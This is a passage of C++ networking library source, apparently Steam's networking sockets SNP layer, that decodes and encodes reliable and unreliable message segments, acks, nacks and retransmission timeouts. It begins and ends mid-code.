data.", cbSegmentSize, #is_reliable ); \ } \ } \ else if ( sizeFlags == 7 ) \ { \ cbSegmentSize = pEnd - pDecode; \ } \ else \ { \ DECODE_ERROR( "Invalid SNP frame lead byte 0x%02x. (size bits)", nFrameType ); \ } \ } \ const uint8 *pSegmentData = pDecode; \ pDecode += cbSegmentSize; // Make sure we have initialized the connection Assert( BStateIsActive() ); const SteamNetworkingMicroseconds usecNow = ctx.m_usecNow; const int64 nPktNum = ctx.m_nPktNum; bool bInhibitMarkReceived = false; const int nLogLevelPacketDecode = m_connectionConfig.m_LogLevel_PacketDecode.Get(); SpewVerboseGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld\n", GetDescription(), (long long)nPktNum ); // Decode frames until we get to the end of the payload const byte *pDecode = (const byte *)ctx.m_pPlainText; const byte *pEnd = pDecode + ctx.m_cbPlainText; int64 nCurMsgNum = 0; int64 nDecodeReliablePos = 0; while ( pDecode < pEnd ) { uint8 nFrameType = *pDecode; ++pDecode; if ( ( nFrameType & 0xc0 ) == 0x00 ) { // // Unreliable segment // // Decode message number if ( nCurMsgNum == 0 ) { // First unreliable frame. Message number is absolute, but only bottom N bits are sent static const char szUnreliableMsgNumOffset[] = "unreliable msgnum"; int64 nLowerBits, nMask; if ( nFrameType & 0x10 ) { READ_32BITU( nLowerBits, szUnreliableMsgNumOffset ); nMask = 0xffffffff; nCurMsgNum = NearestWithSameLowerBits( (int32)nLowerBits, m_receiverState.m_nHighestSeenMsgNum ); } else { READ_16BITU( nLowerBits, szUnreliableMsgNumOffset ); nMask = 0xffff; nCurMsgNum = NearestWithSameLowerBits( (int16)nLowerBits, m_receiverState.m_nHighestSeenMsgNum ); } Assert( ( nCurMsgNum & nMask ) == nLowerBits ); if ( nCurMsgNum <= 0 ) { DECODE_ERROR( "SNP decode unreliable msgnum underflow. %llx mod %llx, highest seen %llx", (unsigned long long)nLowerBits, (unsigned long long)( nMask+1 ), (unsigned long long)m_receiverState.m_nHighestSeenMsgNum ); } if ( std::abs( nCurMsgNum - m_receiverState.m_nHighestSeenMsgNum ) > (nMask>>2) ) { // We really should never get close to this boundary. SpewWarningRateLimited( usecNow, "Sender sent abs unreliable message number using %llx mod %llx, highest seen %llx\n", (unsigned long long)nLowerBits, (unsigned long long)( nMask+1 ), (unsigned long long)m_receiverState.m_nHighestSeenMsgNum ); } } else { if ( nFrameType & 0x10 ) { uint64 nMsgNumOffset; READ_VARINT( nMsgNumOffset, "unreliable msgnum offset" ); nCurMsgNum += nMsgNumOffset; } else { ++nCurMsgNum; } } if ( nCurMsgNum > m_receiverState.m_nHighestSeenMsgNum ) m_receiverState.m_nHighestSeenMsgNum = nCurMsgNum; // // Decode segment offset in message // uint32 nOffset = 0; if ( nFrameType & 0x08 ) READ_VARINT( nOffset, "unreliable data offset" ); // // Decode size, locate segment data // READ_SEGMENT_DATA_SIZE( unreliable ) // Check if offset+size indicates a message larger than what we support. (Also, // protect against malicious sender sending *extremely* large offset causing overflow.) if ( (int64)nOffset + cbSegmentSize > k_cbMaxUnreliableMsgSizeRecv || cbSegmentSize > k_cbMaxUnreliableSegmentSizeRecv ) { // Since this is unreliable data, we can just ignore the segment. SpewWarningRateLimited( usecNow, "[%s] Ignoring unreliable segment with invalid offset %u size %d\n", GetDescription(), nOffset, cbSegmentSize ); } else { // Receive the segment bool bLastSegmentInMessage = ( nFrameType & 0x20 ) != 0; SNP_ReceiveUnreliableSegment( nCurMsgNum, nOffset, pSegmentData, cbSegmentSize, bLastSegmentInMessage, usecNow ); } } else if ( ( nFrameType & 0xe0 ) == 0x40 ) { // // Reliable segment // // First reliable segment? if ( nDecodeReliablePos == 0 ) { // Stream position is absolute. How many bits? static const char szFirstReliableStreamPos[] = "first reliable streampos"; int64 nOffset, nMask; switch ( nFrameType & (3<<3) ) { case 0<<3: READ_24BITU( nOffset, szFirstReliableStreamPos ); nMask = (1ll<<24)-1; break; case 1<<3: READ_32BITU( nOffset, szFirstReliableStreamPos ); nMask = (1ll<<32)-1; break; case 2<<3: READ_48BITU( nOffset, szFirstReliableStreamPos ); nMask = (1ll<<48)-1; break; default: DECODE_ERROR( "Reserved reliable stream pos size" ); } // What do we expect to receive next? int64 nExpectNextStreamPos = m_receiverState.m_nReliableStreamPos + len( m_receiverState.m_bufReliableStream ); // Find the stream offset closest to that nDecodeReliablePos = ( nExpectNextStreamPos & ~nMask ) + nOffset; if ( nDecodeReliablePos + (nMask>>1) < nExpectNextStreamPos ) { nDecodeReliablePos += nMask+1; Assert( ( nDecodeReliablePos & nMask ) == nOffset ); Assert( nExpectNextStreamPos < nDecodeReliablePos ); Assert( nExpectNextStreamPos + (nMask>>1) >= nDecodeReliablePos ); } if ( nDecodeReliablePos <= 0 ) { DECODE_ERROR( "SNP decode first reliable stream pos underflow. %llx mod %llx, expected next %llx", (unsigned long long)nOffset, (unsigned long long)( nMask+1 ), (unsigned long long)nExpectNextStreamPos ); } if ( std::abs( nDecodeReliablePos - nExpectNextStreamPos ) > (nMask>>2) ) { // We really should never get close to this boundary. SpewWarningRateLimited( usecNow, "Sender sent reliable stream pos using %llx mod %llx, expected next %llx\n", (unsigned long long)nOffset, (unsigned long long)( nMask+1 ), (unsigned long long)nExpectNextStreamPos ); } } else { // Subsequent reliable message encode the position as an offset from previous. static const char szOtherReliableStreamPos[] = "reliable streampos offset"; int64 nOffset; switch ( nFrameType & (3<<3) ) { case 0<<3: nOffset = 0; break; case 1<<3: READ_8BITU( nOffset, szOtherReliableStreamPos ); break; case 2<<3: READ_16BITU( nOffset, szOtherReliableStreamPos ); break; default: READ_32BITU( nOffset, szOtherReliableStreamPos ); break; } nDecodeReliablePos += nOffset; } // // Decode size, locate segment data // READ_SEGMENT_DATA_SIZE( reliable ) // Ingest the segment. if ( !SNP_ReceiveReliableSegment( nPktNum, nDecodeReliablePos, pSegmentData, cbSegmentSize, usecNow ) ) { if ( !BStateIsActive() ) return false; // we decided to nuke the connection - abort packet processing // We're not able to ingest this reliable segment at the moment, // but we didn't terminate the connection. So do not ack this packet // to the peer. We need them to retransmit bInhibitMarkReceived = true; } // Advance pointer for the next reliable segment, if any. nDecodeReliablePos += cbSegmentSize; // Decoding rules state that if we have established a message number, // (from an earlier unreliable message), then we advance it. if ( nCurMsgNum > 0 ) ++nCurMsgNum; } else if ( ( nFrameType & 0xfc ) == 0x80 ) { // // Stop waiting // int64 nOffset = 0; static const char szStopWaitingOffset[] = "stop_waiting offset"; switch ( nFrameType & 3 ) { case 0: READ_8BITU( nOffset, szStopWaitingOffset ); break; case 1: READ_16BITU( nOffset, szStopWaitingOffset ); break; case 2: READ_24BITU( nOffset, szStopWaitingOffset ); break; case 3: READ_64BITU( nOffset, szStopWaitingOffset ); break; } if ( nOffset >= nPktNum ) { DECODE_ERROR( "stop_waiting pktNum %llu offset %llu", nPktNum, nOffset ); } ++nOffset; int64 nMinPktNumToSendAcks = nPktNum-nOffset; if ( nMinPktNumToSendAcks == m_receiverState.m_nMinPktNumToSendAcks ) continue; if ( nMinPktNumToSendAcks < m_receiverState.m_nMinPktNumToSendAcks ) { // Sender must never reduce this number! Check for bugs or bogus sender if ( nPktNum >= m_receiverState.m_nPktNumUpdatedMinPktNumToSendAcks ) { DECODE_ERROR( "SNP stop waiting reduced %lld (pkt %lld) -> %lld (pkt %lld)", (long long)m_receiverState.m_nMinPktNumToSendAcks, (long long)m_receiverState.m_nPktNumUpdatedMinPktNumToSendAcks, (long long)nMinPktNumToSendAcks, (long long)nPktNum ); } continue; } SpewDebugGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld stop waiting: %lld (was %lld)", GetDescription(), (long long)nPktNum, (long long)nMinPktNumToSendAcks, (long long)m_receiverState.m_nMinPktNumToSendAcks ); m_receiverState.m_nMinPktNumToSendAcks = nMinPktNumToSendAcks; m_receiverState.m_nPktNumUpdatedMinPktNumToSendAcks = nPktNum; // Trim from the front of the packet gap list, // we can stop reporting these losses to the sender auto h = m_receiverState.m_mapPacketGaps.begin(); while ( h->first <= m_receiverState.m_nMinPktNumToSendAcks ) { if ( h->second.m_nEnd > m_receiverState.m_nMinPktNumToSendAcks ) { // Ug. You're not supposed to modify the key in a map. // I suppose that's legit, since you could violate the ordering. // but in this case I know that this change is OK. const_cast<int64 &>( h->first ) = m_receiverState.m_nMinPktNumToSendAcks; break; } // Were we pending an ack on this? if ( m_receiverState.m_itPendingAck == h ) ++m_receiverState.m_itPendingAck; // Were we pending a nack on this? if ( m_receiverState.m_itPendingNack == h ) { // I am not sure this is even possible. AssertMsg( false, "Expiring packet gap, which had pending NACK" ); // But just in case, this would be the proper action ++m_receiverState.m_itPendingNack; } // Packet loss is in the past. Forget about it and move on h = m_receiverState.m_mapPacketGaps.erase(h); } } else if ( ( nFrameType & 0xf0 ) == 0x90 ) { // // Ack // #if STEAMNETWORKINGSOCKETS_SNP_PARANOIA > 0 m_senderState.DebugCheckInFlightPacketMap(); #if STEAMNETWORKINGSOCKETS_SNP_PARANOIA == 1 if ( ( nPktNum & 255 ) == 0 ) // only do it periodically #endif { m_senderState.DebugCheckInFlightPacketMap(); } #endif // Parse latest received sequence number int64 nLatestRecvSeqNum; { static const char szAckLatestPktNum[] = "ack latest pktnum"; int64 nLowerBits, nMask; if ( nFrameType & 0x40 ) { READ_32BITU( nLowerBits, szAckLatestPktNum ); nMask = 0xffffffff; nLatestRecvSeqNum = NearestWithSameLowerBits( (int32)nLowerBits, m_statsEndToEnd.m_nNextSendSequenceNumber ); } else { READ_16BITU( nLowerBits, szAckLatestPktNum ); nMask = 0xffff; nLatestRecvSeqNum = NearestWithSameLowerBits( (int16)nLowerBits, m_statsEndToEnd.m_nNextSendSequenceNumber ); } Assert( ( nLatestRecvSeqNum & nMask ) == nLowerBits ); // Find the message number that is closes to if ( nLatestRecvSeqNum < 0 ) { DECODE_ERROR( "SNP decode ack latest pktnum underflow. %llx mod %llx, next send %llx", (unsigned long long)nLowerBits, (unsigned long long)( nMask+1 ), (unsigned long long)m_statsEndToEnd.m_nNextSendSequenceNumber ); } if ( std::abs( nLatestRecvSeqNum - m_statsEndToEnd.m_nNextSendSequenceNumber ) > (nMask>>2) ) { // We really should never get close to this boundary. SpewWarningRateLimited( usecNow, "Sender sent abs latest recv pkt number using %llx mod %llx, next send %llx\n", (unsigned long long)nLowerBits, (unsigned long long)( nMask+1 ), (unsigned long long)m_statsEndToEnd.m_nNextSendSequenceNumber ); } if ( nLatestRecvSeqNum >= m_statsEndToEnd.m_nNextSendSequenceNumber ) { DECODE_ERROR( "SNP decode ack latest pktnum %lld (%llx mod %llx), but next outoing packet is %lld (%llx).", (long long)nLatestRecvSeqNum, (unsigned long long)nLowerBits, (unsigned long long)( nMask+1 ), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (unsigned long long)m_statsEndToEnd.m_nNextSendSequenceNumber ); } } SpewDebugGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld latest recv %lld\n", GetDescription(), (long long)nPktNum, (long long)nLatestRecvSeqNum ); // Locate our bookkeeping for this packet, or the latest one before it // Remember, we have a sentinel with a low, invalid packet number Assert( !m_senderState.m_mapInFlightPacketsByPktNum.empty() ); auto inFlightPkt = m_senderState.m_mapInFlightPacketsByPktNum.upper_bound( nLatestRecvSeqNum ); --inFlightPkt; Assert( inFlightPkt->first <= nLatestRecvSeqNum ); // Parse out delay, and process the ping { uint16 nPackedDelay; READ_16BITU( nPackedDelay, "ack delay" ); if ( nPackedDelay != 0xffff && inFlightPkt->first == nLatestRecvSeqNum && inFlightPkt->second.m_pTransport == ctx.m_pTransport ) { SteamNetworkingMicroseconds usecDelay = SteamNetworkingMicroseconds( nPackedDelay ) << k_nAckDelayPrecisionShift; SteamNetworkingMicroseconds usecElapsed = usecNow - inFlightPkt->second.m_usecWhenSent; Assert( usecElapsed >= 0 ); // Account for their reported delay, and calculate ping, in MS int msPing = ( usecElapsed - usecDelay ) / 1000; // Does this seem bogus? (We allow a small amount of slop.) // NOTE: A malicious sender could lie about this delay, tricking us // into thinking that the real network latency is low, they are just // delaying their replies. This actually matters, since the ping time // is an input into the rate calculation. So we might need to // occasionally send pings that require an immediately reply, and // if those ping times seem way out of whack with the ones where they are // allowed to send a delay, take action against them. if ( msPing < -1 || msPing > 2000 ) { // Either they are lying or some weird timer stuff is happening. // Either way, discard it. SpewMsgGroup( m_connectionConfig.m_LogLevel_AckRTT.Get(), "[%s] decode pkt %lld latest recv %lld delay %lluusec INVALID ping %lldusec\n", GetDescription(), (long long)nPktNum, (long long)nLatestRecvSeqNum, (unsigned long long)usecDelay, (long long)usecElapsed ); } else { // Clamp, if we have slop if ( msPing < 0 ) msPing = 0; ProcessSNPPing( msPing, ctx ); // Spew SpewVerboseGroup( m_connectionConfig.m_LogLevel_AckRTT.Get(), "[%s] decode pkt %lld latest recv %lld delay %.1fms elapsed %.1fms ping %dms\n", GetDescription(), (long long)nPktNum, (long long)nLatestRecvSeqNum, (float)(usecDelay * 1e-3 ), (float)(usecElapsed * 1e-3 ), msPing ); } } } // Parse number of blocks int nBlocks = nFrameType&7; if ( nBlocks == 7 ) READ_8BITU( nBlocks, "ack num blocks" ); // If they actually sent us any blocks, that means they are fragmented. // We should make sure and tell them to stop sending us these nacks // and move forward. if ( nBlocks > 0 ) { // Decrease flush delay the more blocks they send us. // FIXME - This is not an optimal way to do this. Forcing us to // ack everything is not what we want to do. Instead, we should // use a separate timer for when we need to flush out a stop_waiting // packet! SteamNetworkingMicroseconds usecDelay = 250*1000 / nBlocks; QueueFlushAllAcks( usecNow + usecDelay ); } // Process ack blocks, working backwards from the latest received sequence number. // Note that we have to parse all this stuff out, even if it's old news (packets older // than the stop_aiting value we sent), because we need to do that to get to the rest // of the packet. bool bAckedReliableRange = false; int64 nPktNumAckEnd = nLatestRecvSeqNum+1; while ( nBlocks >= 0 ) { // Parse out number of acks/nacks. // Have we parsed all the real blocks? int64 nPktNumAckBegin, nPktNumNackBegin; if ( nBlocks == 0 ) { // Implicit block. Everything earlier between the last // NACK and the stop_waiting value is implicitly acked! if ( nPktNumAckEnd <= m_senderState.m_nMinPktWaitingOnAck ) break; nPktNumAckBegin = m_senderState.m_nMinPktWaitingOnAck; nPktNumNackBegin = nPktNumAckBegin; SpewDebugGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld ack last block ack begin %lld\n", GetDescription(), (long long)nPktNum, (long long)nPktNumAckBegin ); } else { uint8 nBlockHeader; READ_8BITU( nBlockHeader, "ack block header" ); // Ack count? int64 numAcks = ( nBlockHeader>> 4 ) & 7; if ( nBlockHeader & 0x80 ) { uint64 nUpperBits; READ_VARINT( nUpperBits, "ack count upper bits" ); if ( nUpperBits > 100000 ) DECODE_ERROR( "Ack count of %llu<<3 is crazy", (unsigned long long)nUpperBits ); numAcks |= nUpperBits<<3; } nPktNumAckBegin = nPktNumAckEnd - numAcks; if ( nPktNumAckBegin < 0 ) DECODE_ERROR( "Ack range underflow, end=%lld, num=%lld", (long long)nPktNumAckEnd, (long long)numAcks ); // Extended nack count? int64 numNacks = nBlockHeader & 7; if ( nBlockHeader & 0x08) { uint64 nUpperBits; READ_VARINT( nUpperBits, "nack count upper bits" ); if ( nUpperBits > 100000 ) DECODE_ERROR( "Nack count of %llu<<3 is crazy", nUpperBits ); numNacks |= nUpperBits<<3; } nPktNumNackBegin = nPktNumAckBegin - numNacks; if ( nPktNumNackBegin < 0 ) DECODE_ERROR( "Nack range underflow, end=%lld, num=%lld", (long long)nPktNumAckBegin, (long long)numAcks ); SpewDebugGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld nack [%lld,%lld) ack [%lld,%lld)\n", GetDescription(), (long long)nPktNum, (long long)nPktNumNackBegin, (long long)( nPktNumNackBegin + numNacks ), (long long)nPktNumAckBegin, (long long)( nPktNumAckBegin + numAcks ) ); } // Process acks first. Assert( nPktNumAckBegin >= 0 ); while ( inFlightPkt->first >= nPktNumAckBegin ) { Assert( inFlightPkt->first < nPktNumAckEnd ); // Scan reliable segments, and see if any are marked for retry or are in flight for ( const SNPRange_t &relRange: inFlightPkt->second.m_vecReliableSegments ) { // If range is present, it should be in only one of these two tables. if ( m_senderState.m_listInFlightReliableRange.erase( relRange ) == 0 ) { if ( m_senderState.m_listReadyRetryReliableRange.erase( relRange ) > 0 ) { // When we put stuff into the reliable retry list, we mark it as pending again. // But now it's acked, so it's no longer pending, even though we didn't send it. m_senderState.m_cbPendingReliable -= int( relRange.length() ); Assert( m_senderState.m_cbPendingReliable >= 0 ); bAckedReliableRange = true; } } else { bAckedReliableRange = true; Assert( m_senderState.m_listReadyRetryReliableRange.count( relRange ) == 0 ); } } // Check if this was the next packet we were going to timeout, then advance // pointer. This guy didn't timeout. if ( inFlightPkt == m_senderState.m_itNextInFlightPacketToTimeout ) ++m_senderState.m_itNextInFlightPacketToTimeout; // No need to track this anymore, remove from our table inFlightPkt = m_senderState.m_mapInFlightPacketsByPktNum.erase( inFlightPkt ); --inFlightPkt; m_senderState.MaybeCheckInFlightPacketMap(); } // Ack of in-flight end-to-end stats? if ( nPktNumAckBegin <= m_statsEndToEnd.m_pktNumInFlight && m_statsEndToEnd.m_pktNumInFlight < nPktNumAckEnd ) m_statsEndToEnd.InFlightPktAck( usecNow ); // Process nacks. Assert( nPktNumNackBegin >= 0 ); while ( inFlightPkt->first >= nPktNumNackBegin ) { Assert( inFlightPkt->first < nPktNumAckEnd ); SNP_SenderProcessPacketNack( inFlightPkt->first, inFlightPkt->second, "NACK" ); // We'll keep the record on hand, though, in case an ACK comes in --inFlightPkt; } // Continue on to the the next older block nPktNumAckEnd = nPktNumNackBegin; --nBlocks; } // Should we check for discarding reliable messages we are keeping around in case // of retransmission, since we know now that they were delivered? if ( bAckedReliableRange ) { m_senderState.RemoveAckedReliableMessageFromUnackedList(); // Spew where we think the peer is decoding the reliable stream if ( nLogLevelPacketDecode >= k_ESteamNetworkingSocketsDebugOutputType_Debug ) { int64 nPeerReliablePos = m_senderState.m_nReliableStreamPos; if ( !m_senderState.m_listInFlightReliableRange.empty() ) nPeerReliablePos = std::min( nPeerReliablePos, m_senderState.m_listInFlightReliableRange.begin()->first.m_nBegin ); if ( !m_senderState.m_listReadyRetryReliableRange.empty() ) nPeerReliablePos = std::min( nPeerReliablePos, m_senderState.m_listReadyRetryReliableRange.begin()->first.m_nBegin ); SpewDebugGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld peer reliable pos = %lld\n", GetDescription(), (long long)nPktNum, (long long)nPeerReliablePos ); } } // Check if any of this was new info, then advance our stop_waiting value. if ( nLatestRecvSeqNum > m_senderState.m_nMinPktWaitingOnAck ) { SpewVerboseGroup( nLogLevelPacketDecode, "[%s] updating min_waiting_on_ack %lld -> %lld\n", GetDescription(), (long long)m_senderState.m_nMinPktWaitingOnAck, (long long)nLatestRecvSeqNum ); m_senderState.m_nMinPktWaitingOnAck = nLatestRecvSeqNum; } } else { DECODE_ERROR( "Invalid SNP frame lead byte 0x%02x", nFrameType ); } } // Should we record that we received it? if ( bInhibitMarkReceived ) { // Something really odd. High packet loss / fragmentation. // Potentially the peer is being abusive and we need // to protect ourselves. // // Act as if the packet was dropped. This will cause the // peer's sender logic to interpret this as additional packet // loss and back off. That's a feature, not a bug. } else { // Update structures needed to populate our ACKs. // If we received reliable data now, then schedule an ack bool bScheduleAck = nDecodeReliablePos > 0; SNP_RecordReceivedPktNum( nPktNum, usecNow, bScheduleAck ); } // Track end-to-end flow. Even if we decided to tell our peer that // we did not receive this, we want our own stats to reflect // that we did. (And we want to be able to quickly reject a // packet with this same number.) // // Also, note that order of operations is important. This call must // happen after the SNP_RecordReceivedPktNum call above m_statsEndToEnd.TrackProcessSequencedPacket( nPktNum, usecNow, usecTimeSinceLast ); // Packet can be processed further return true; // Make sure these don't get used beyond where we intended them to get used #undef DECODE_ERROR #undef EXPECT_BYTES #undef READ_8BITU #undef READ_16BITU #undef READ_24BITU #undef READ_32BITU #undef READ_64BITU #undef READ_VARINT #undef READ_SEGMENT_DATA_SIZE } void CSteamNetworkConnectionBase::SNP_SenderProcessPacketNack( int64 nPktNum, SNPInFlightPacket_t &pkt, const char *pszDebug ) { // Did we already treat the packet as dropped (implicitly or explicitly)? if ( pkt.m_bNack ) return; // Mark as dropped pkt.m_bNack = true; // Is this in-flight stats we were expecting an ack for? if ( m_statsEndToEnd.m_pktNumInFlight == nPktNum ) m_statsEndToEnd.InFlightPktTimeout(); // Scan reliable segments for ( const SNPRange_t &relRange: pkt.m_vecReliableSegments ) { // Marked as in-flight? auto inFlightRange = m_senderState.m_listInFlightReliableRange.find( relRange ); if ( inFlightRange == m_senderState.m_listInFlightReliableRange.end() ) continue; SpewMsgGroup( m_connectionConfig.m_LogLevel_PacketDecode.Get(), "[%s] pkt %lld %s, queueing retry of reliable range [%lld,%lld)\n", GetDescription(), nPktNum, pszDebug, relRange.m_nBegin, relRange.m_nEnd ); // The ready-to-retry list counts towards the "pending" stat m_senderState.m_cbPendingReliable += int( relRange.length() ); // Move it to the ready for retry list! // if shouldn't already be there! Assert( m_senderState.m_listReadyRetryReliableRange.count( relRange ) == 0 ); m_senderState.m_listReadyRetryReliableRange[ inFlightRange->first ] = inFlightRange->second; m_senderState.m_listInFlightReliableRange.erase( inFlightRange ); } } SteamNetworkingMicroseconds CSteamNetworkConnectionBase::SNP_SenderCheckInFlightPackets( SteamNetworkingMicroseconds usecNow ) { // Fast path for nothing in flight. m_senderState.MaybeCheckInFlightPacketMap(); if ( m_senderState.m_mapInFlightPacketsByPktNum.size() <= 1 ) { Assert( m_senderState.m_itNextInFlightPacketToTimeout == m_senderState.m_mapInFlightPacketsByPktNum.end() ); return k_nThinkTime_Never; } Assert( m_senderState.m_mapInFlightPacketsByPktNum.begin()->first < 0 ); SteamNetworkingMicroseconds usecNextRetry = k_nThinkTime_Never; // Process retry timeout. Here we use a shorter timeout to trigger retry // than we do to totally forgot about the packet, in case an ack comes in late, // we can take advantage of it. SteamNetworkingMicroseconds usecRTO = m_statsEndToEnd.CalcSenderRetryTimeout(); while ( m_senderState.m_itNextInFlightPacketToTimeout != m_senderState.m_mapInFlightPacketsByPktNum.end() ) { Assert( m_senderState.m_itNextInFlightPacketToTimeout->first > 0 ); // If already nacked, then no use waiting on it, just skip it if ( !m_senderState.m_itNextInFlightPacketToTimeout->second.m_bNack ) { // Not yet time to give up? SteamNetworkingMicroseconds usecRetryPkt = m_senderState.m_itNextInFlightPacketToTimeout->second.m_usecWhenSent + usecRTO; if ( usecRetryPkt > usecNow ) { usecNextRetry = usecRetryPkt; break; } // Mark as dropped, and move any reliable contents into the // retry list. SNP_SenderProcessPacketNack( m_senderState.m_itNextInFlightPacketToTimeout->first, m_senderState.m_itNextInFlightPacketToTimeout->second, "AckTimeout" ); } // Advance to next packet waiting to timeout ++m_senderState.m_itNextInFlightPacketToTimeout; } // Skip the sentinel auto inFlightPkt = m_senderState.m_mapInFlightPacketsByPktNum.begin(); Assert( inFlightPkt->first < 0 ); ++inFlightPkt; // Expire old packets (all of these should have been marked as nacked) SteamNetworkingMicroseconds usecWhenExpiry = usecNow - usecRTO*2; for (;;) { if ( inFlightPkt->second.m_usecWhenSent > usecWhenExpiry ) break; // Should have already been timed out by the code above Assert( inFlightPkt->second.m_bNack ); Assert( inFlightPkt != m_senderState.m_itNextInFlightPacketToTimeout ); // Expire it, advance to the next one inFlightPkt = m_senderState.m_mapInFlightPacketsByPktNum.erase( inFlightPkt ); Assert( !m_senderState.m_mapInFlightPacketsByPktNum.empty() ); // Bail if we've hit the end of the nacks if ( inFlightPkt == m_senderState.m_mapInFlightPacketsByPktNum.end() ) break; } // Make sure we didn't hose data structures m_senderState.MaybeCheckInFlightPacketMap(); // Return time when we really need to check back in again. // We don't wake up early just to expire old nacked packets, // there is no urgency or value in doing that, we can clean // those up whenever. We only make sure and wake up when we // need to retry. (And we need to make sure we don't let // our list of old packets grow unnecessarily long.) return usecNextRetry; } struct EncodedSegment { static constexpr int k_cbMaxHdr = 16; uint8 m_hdr[ k_cbMaxHdr ]; int m_cbHdr; // Doesn't include any size byte CSteamNetworkingMessage *m_pMsg; int m_cbSegSize; int m_nOffset; inline void SetupReliable( CSteamNetworkingMessage *pMsg, int64 nBegin, int64 nEnd, int64 nLastReliableStreamPosEnd ) { Assert( nBegin < nEnd ); //Assert( nBegin + k_cbSteamNetworkingSocketsMaxReliableMessageSegment >= nEnd ); // Max sure we don't exceed max segment size Assert( pMsg->SNPSend_IsReliable() ); // Start filling out the header with the top three bits = 010, // identifying this as a reliable segment uint8 *pHdr = m_hdr; *(pHdr++) = 0x40; // First reliable segment in the message? if ( nLastReliableStreamPosEnd == 0 ) { // Always use 48-byte offsets, to make sure we are exercising the worst case. // Later we should optimize this m_hdr[0] |= 0x10; *(uint16*)pHdr = LittleWord( uint16( nBegin ) ); pHdr += 2; *(uint32*)pHdr = LittleDWord( uint32( nBegin>>16 ) ); pHdr += 4; } else { // Offset from end of previous reliable segment in the same packet Assert( nBegin >= nLastReliableStreamPosEnd ); int64 nOffset = nBegin - nLastReliableStreamPosEnd; if ( nOffset == 0) { // Nothing to encode } else if ( nOffset < 0x100 ) { m_hdr[0] |= (1<<3); *pHdr = uint8( nOffset ); pHdr += 1; } else if ( nOffset < 0x10000 ) { m_hdr[0] |= (2<<3); *(uint16*)pHdr = LittleWord( uint16( nOffset ) ); pHdr += 2; } else { m_hdr[0] |= (3<<3); *(uint32*)pHdr = LittleDWord( uint32( nOffset ) ); pHdr += 4; } } m_cbHdr = pHdr-m_hdr; // Size of the segment. We assume that the whole things fits for now, // even though it might need to get truncated int cbSegData = nEnd - nBegin; Assert( cbSegData > 0 ); Assert( nBegin >= pMsg->SNPSend_ReliableStreamPos() ); Assert( nEnd <= pMsg->SNPSend_ReliableStreamPos() + pMsg->m_cbSize ); m_pMsg = pMsg; m_nOffset = nBegin - pMsg->SNPSend_ReliableStreamPos(); m_cbSegSize = cbSegData; } inline void SetupUnreliable( CSteamNetworkingMessage *pMsg, int nOffset, int64 nLastMsgNum ) { // Start filling out the header with the top two bits = 00, // identifying this as an unreliable segment uint8 *pHdr = m_hdr; *(pHdr++) = 0x00; // Encode message number. First unreliable message? if ( nLastMsgNum == 0 ) { // Just always encode message number with 32 bits for now, // to make sure we are hitting the worst case. We can optimize this later *(uint32*)pHdr = LittleDWord( (uint32)pMsg->m_nMessageNumber ); pHdr += 4; m_hdr[0] |= 0x10; } else { // Subsequent unreliable message Assert( pMsg->m_nMessageNumber > nLastMsgNum ); uint64 nDelta = pMsg->m_nMessageNumber - nLastMsgNum; if ( nDelta == 1 ) { // Common case of sequential messages. Don't encode any offset } else { pHdr = SerializeVarInt( pHdr, nDelta, m_hdr+k_cbMaxHdr ); Assert( pHdr ); // Overflow shouldn't be possible m_hdr[0] |= 0x10; } } // Encode segment offset within message, except in the special common case of the first segment if ( nOffset > 0 ) { pHdr = SerializeVarInt( pHdr, (uint32)( nOffset ), m_hdr+k_cbMaxHdr ); Assert( pHdr ); // Overflow shouldn't be possible m_hdr[0] |= 0x08; } m_cbHdr = pHdr-m_hdr; // Size of the segment. We assume that the whole things fits for now, event hough it might ned to get truncated int cbSegData = pMsg->m_cbSize - nOffset; Assert( cbSegData > 0 || ( cbSegData == 0 && pMsg->m_cbSize == 0 ) ); // We should only send zero-byte segments if the message itself is zero bytes. (Which is legitimate!) m_pMsg = pMsg; m_cbSegSize = cbSegData; m_nOffset = nOffset; } }; template <typename T, typename L> inline bool HasOverlappingRange( const SNPRange_t &range, const std::map<SNPRange_t,T,L> &map ) { auto l = map.lower_bound( range ); if ( l != map.end() ) { Assert( l->first.m_nBegin >= range.m_nBegin ); if ( l->first.m_nBegin < range.m_nEnd ) return true; } auto u = map.upper_bound( range ); if ( u != map.end() ) { Assert( range.m_nBegin < u->first.m_nBegin ); if ( range.m_nEnd > l->first.m_nBegin ) return true; } return false; } bool CSteamNetworkConnectionBase::SNP_SendPacket( CConnectionTransport *pTransport, SendPacketContext_t &ctx ) { // Check calling conditions, and don't crash if ( !BStateIsActive() || m_senderState.m_mapInFlightPacketsByPktNum.empty() || !pTransport ) { Assert( BStateIsActive() ); Assert( !m_senderState.m_mapInFlightPacketsByPktNum.empty() ); Assert( pTransport ); return false; } SteamNetworkingMicroseconds usecNow = ctx.m_usecNow; // Get max size of plaintext we could send. // AES-GCM has a fixed size overhead, for the tag. // FIXME - but what we if we aren't using AES-GCM! int cbMaxPlaintextPayload = std::max( 0, ctx.m_cbMaxEncryptedPayload-k_cbSteamNetwokingSocketsEncrytionTagSize ); cbMaxPlaintextPayload = std::min( cbMaxPlaintextPayload, m_cbMaxPlaintextPayloadSend ); uint8 payload[ k_cbSteamNetworkingSocketsMaxPlaintextPayloadSend ]; uint8 *pPayloadEnd = payload + cbMaxPlaintextPayload; uint8 *pPayloadPtr = payload; int nLogLevelPacketDecode = m_connectionConfig.m_LogLevel_PacketDecode.Get(); SpewVerboseGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber ); // Stop waiting frame pPayloadPtr = SNP_SerializeStopWaitingFrame( pPayloadPtr, pPayloadEnd, usecNow ); if ( pPayloadPtr == nullptr ) return false; // Get list of ack blocks we might want to serialize, and which // of those acks we really want to flush out right now. SNPAckSerializerHelper ackHelper; SNP_GatherAckBlocks( ackHelper, usecNow ); #ifdef SNP_ENABLE_PACKETSENDLOG PacketSendLog *pLog = push_back_get_ptr( m_vecSendLog ); pLog->m_usecTime = usecNow; pLog->m_cbPendingReliable = m_senderState.m_cbPendingReliable; pLog->m_cbPendingUnreliable = m_senderState.m_cbPendingUnreliable; pLog->m_nPacketGaps = len( 